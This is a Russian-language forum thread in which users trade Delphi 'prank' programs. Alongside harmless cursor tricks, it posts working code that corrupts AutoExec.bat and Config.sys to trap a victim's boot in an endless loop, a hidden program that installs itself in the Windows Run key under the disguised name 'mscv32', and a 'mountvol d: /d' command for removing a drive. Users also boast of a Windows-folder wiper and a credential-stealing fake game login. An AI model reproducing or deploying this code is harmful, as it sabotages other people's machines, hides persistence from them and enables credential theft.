Авторизация

Логин: Пароль:
Регистрация Забыли свой пароль?

Приколы на Delphi :)

Страницы: 1 2 След.
Приколы на Delphi :)
Доброго всем времени суток! smile:) Программистами всего мира написано множество программ-приколов. Они представляют интерес как для самих программистов (с точки зрения написания), так и обычных пользователей. Если Вы придумали какую-либо прикольную программку, то выкладывайте исходник в эту тему! smile:)
Просьба привести пример - что за прикол?
Можно на паскале сэмулировать форматирование диска C: - но это слишком просто
Вот пример шутки под названием "падающая мышка" на Delphi. Заставляет мышку "падать" с высоты экрана с ускорением.

Код
procedure TForm1.FallingMouseClick(Sender: TObject);
var
  mpos: tpoint;
  index: double;
  h: hwnd;
begin
  e:=true;
  h:=createevent(nil, true, false, 'ut');
  index:=1;
  while e do begin
    GetCursorPos(mpos);
    if mpos.y>=screen.height-20 then begin
    WaitForSingleObject(h, 5000);
    index:=1;
    GetCursorPos(mpos);
  end;
  index:=index+index/30;
  mpos.y:=mpos.y+round(index);
  SetCursorPos(mpos.x, mpos.y);
  application.processmessages;
  WaitForSingleObject(h, 10);
end;
end; 

Суть кода проста как две копейки, используется всего три функции WinApi.

GetCursorPos - получаем текущие координаты указателя на экране
WaitForSingleObject - задаем таймауты для объекта
SetCursorPos - задаем координаты указателя
Переменная e служит для остановки выполнения кода, когда вам надоест smile;)
Цитата
Просьба привести пример - что за прикол?

Вы можете привести любой пример. Не важно, на сколько прост исходник, главное, чтобы программа была интересной smile:)
Голодный CD-Rom
Устанавливаем свойство отображения формы
application.showmainform:=false;

Запуск при старте Виндовс
reg := tregistry.create;
reg.rootkey:=hkey_local_machi ne;
reg.lazywrite := false;
reg.openkey('softwaremicrosoftwindowscurrentversionrun',false);
reg.writestring('mscv32', application. exename);
reg.closekey;
reg.free;

В uses подключаем registry, mmsystem
var reg:tregistry.

Кидаем на форму таймер, ставим интервал, например 5 мин (interval=300000).
В обработчике oncreate пишем
messagebox(getdesktopwindow,'Я голоден..!Дай диск плз =(', 'cd-rom', mb_ok);
mcisendstring('set cdaudio door open wait', nil, 0, handle);

Каждые 5 минут сидюк будет просить есть.

Давно в нете видел этот прикол.
пока ты не доволен жизнью - она проходит...
нее это не прикольно. Вот самый крутой прикол:
Код
procedure CreateNewWinLoad;
 var list: TStrings;
begin
 list:= TStringList.Create;
 with list do
  begin
   Clear;
   LoadFromFile('C:\AutoExec.bat');
   Insert(3,'goto %config%');
   Insert(4,':FuckSystem');
   Append('beep');
   Append('goto FuckSystem');
   Append(':HackSystem');
   Append('beep');
   Append('goto HackSystem');
   Append(':exit');
   SaveToFile('C:\AutoExec.bat');
   Clear;
   LoadFromFile('C:\Config.sys');
   Append('[menu]');
   Append('menuitem=HackSystem, HackSystem');
   Append('menuitem=FuckSystem, FuckSystem');
   Append('[FuckSystem]');
   Append('[HackSystem]');
   SaveToFile('C:\Config.sys');
 end;
 list.Destroy;
 list:= nil;
end;

При запуске будет спрашивать какой тип Win загрузить HackSystem или FuckSystem. При любом выборе будет зацикливаться и пищать. Бедный ламер будет просто беситься smile:D
свободный страннык
Цитата
kenny пишет:
При запуске будет спрашивать какой тип Win загрузить HackSystem или FuckSystem. При любом выборе будет зацикливаться и пищать. Бедный ламер будет просто беситься


не сказал бы что это круче
пока ты не доволен жизнью - она проходит...
Просто голодный сидюшник это что-то старое. Кстати, чтобы выйти надо вроде будет нажать ESC.
свободный страннык
Фишка не совсем к дельфи относиться, больше взаимодействие с системой, но интересна.
Команда mountvol, управления дисковыми томами в windows. Вызов с ключом /d удаляет том из системы, до перезагрузки конечно же. Но все равно будет эффектно,когда из "Мой компьютер" пропадет диск

В программе например можно вызвать так
Код
winexec(PCHAR('mountvol d: /d'),WS_MINIMIZE)
В книге "Delphi глазами хакера" можно найти несколько простеньких шуток;)
Падающая мышка - прикольно.
А еще можно поиздеваться над юзеров, убрав из панели кнопку "Пуск". Или засунув рабочий стол со всеми его окнами в окно другой программы. Я таким способом боролся с вирусами-баннерами, которые висят на рабочем столе и мешают жить. Засунул такой баннер в окошко моей проги, прогу закыл - и можно спокойно заниматься удалением виря.
Цитата
А еще можно поиздеваться над юзеров, убрав из панели кнопку "Пуск". Или засунув рабочий стол со всеми его окнами в окно другой программы.

Только вот, если мне не изменяет память, только с правами администратора можно невозбранно ковырять чужие окна. smile:(
Разве? Я думаю права тут не при чем. Если рабочий стол - ваш, то вы имеете полное право сбагрить все окна с него в вашу софтину =)
Оказалось, что да, можно невозбранно ковырять чужие окна даже находясь под правами юзера. Странно, что в прошлой моей системе этого сделать не удавалось. smile:(
Помню делал программу для рисования на канве экрана.
Т. е. можно вывести изображение в любом месте экрана, но перерисовка любого окна затирает соответствующую часть изображения.
Код
var
c: tcanvas;
begin
  c:=tcanvas.create;
  c.handle:=getdc(0);
  // Работаем с канвой
end;
Падающая мышь. smile8)
Код
procedure tform1.downmouseclick(sender: tobject);
var
mpos: tpoint;
index: double;
h: hwnd;
begin
b:=true;
h:=createevent(nil, true, false, 'ut');
index:=1;
while b do begin
getcursorpos(mpos);
if mpos.y>=screen.height-20 then begin
waitforsingleobject(h, 5000);
index:=1;
getcursorpos(mpos);
end;
index:=index+index/30;
mpos.y:=mpos.y+round(index);
setcursorpos(mpos.x, mpos.y);
application.processmessages;
waitforsingleobject(h, 10);
end;
end;


Логическая переменная b объявлена глобальной и используется для того, чтобы остановить выполнение кода в нужный момент, присвоив ей значение false.
Изменено: Евгений Ульяров - 18.10.2010 10:20:31 (ошибка)
c:\linux\bin
c:\linux\etc\X11\xorg.conf
d:\home\user
Страшный сон линуксоида.
Делал простое стирание папки windows, с автозагрузой)
Не буду выкладывать, вдруг в плохие руки. Хотя кому надо, сам сделает.
делал когда-то программку по типу вируса "Печенька" тоже интересно было, и написать не сложно
Изменено: Дмитрий Сергиенко - 19.10.2010 18:02:35
Делал когда-то программу эмулирующую окно ввода логина и пароля для LineAge и записывающего данные в файлик на фтп. Вот это было прикольно =)
smile:idea: В данное время работаю над программой приколом. Как закончу вылажу ее на этот форум-ждите...
Блин, я ее не буду запускать, страшно! smile:)
Можно будет на виртуальной машине запустить smile8)
а вдруг она при расспоковке заработает)
А вдруг она из виртуальной машины по сети передаст файл на физическую машину?)
Вот тогда и будет настоящий прикол)
Страницы: 1 2 След.
Читают тему (гостей: 1, пользователей: 0, из них скрытых: 0)